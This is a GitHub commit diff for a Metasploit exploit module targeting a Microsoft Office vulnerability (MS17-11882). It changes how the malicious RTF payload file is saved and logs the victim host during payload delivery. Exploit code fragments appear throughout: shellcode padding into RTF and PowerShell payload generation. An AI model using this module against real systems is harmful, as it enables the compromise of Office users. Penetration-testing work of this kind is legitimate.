Skip to content

Commit 275f70e

Browse files
author
Austin
authored
better saving
1 parent db4c0fc commit 275f70e

File tree

1 file changed

+5
-3
lines changed

1 file changed

+5
-3
lines changed

modules/exploits/windows/fileformat/office_ms17_11882.rb

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
))
4646

4747
register_options([
48-
OptString.new("FILENAME", [true, "Filename to save as"])
48+
OptString.new("FILENAME", [true, "Filename to save as", "msf.rtf"])
4949
])
5050
end
5151

@@ -134,10 +134,12 @@ def generate_rtf
134134
payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
135135
payload = header + payload + footer
136136

137-
::File.open(datastore['FILENAME'], 'wb') do |fd|
137+
path = ::File.join(Msf::Config.local_directory, datastore['FILENAME'])
138+
::File.open(path, 'wb') do |fd|
138139
fd.write(payload)
139140
fd.close
140141
end
142+
print_good("Wrote payload to #{path}")
141143
end
142144

143145

@@ -176,7 +178,7 @@ def on_request_uri(cli, _request)
176178
data = gen_sct_file(payload)
177179
send_response(cli, data, 'Content-Type' => 'text/plain')
178180
else
179-
print_status("Delivering payload...")
181+
print_status("Delivering payload to #{cli.peerhost}...")
180182
p = regenerate_payload(cli)
181183
data = cmd_psh_payload(p.encoded,
182184
payload_instance.arch.first,

0 commit comments

Comments
 (0)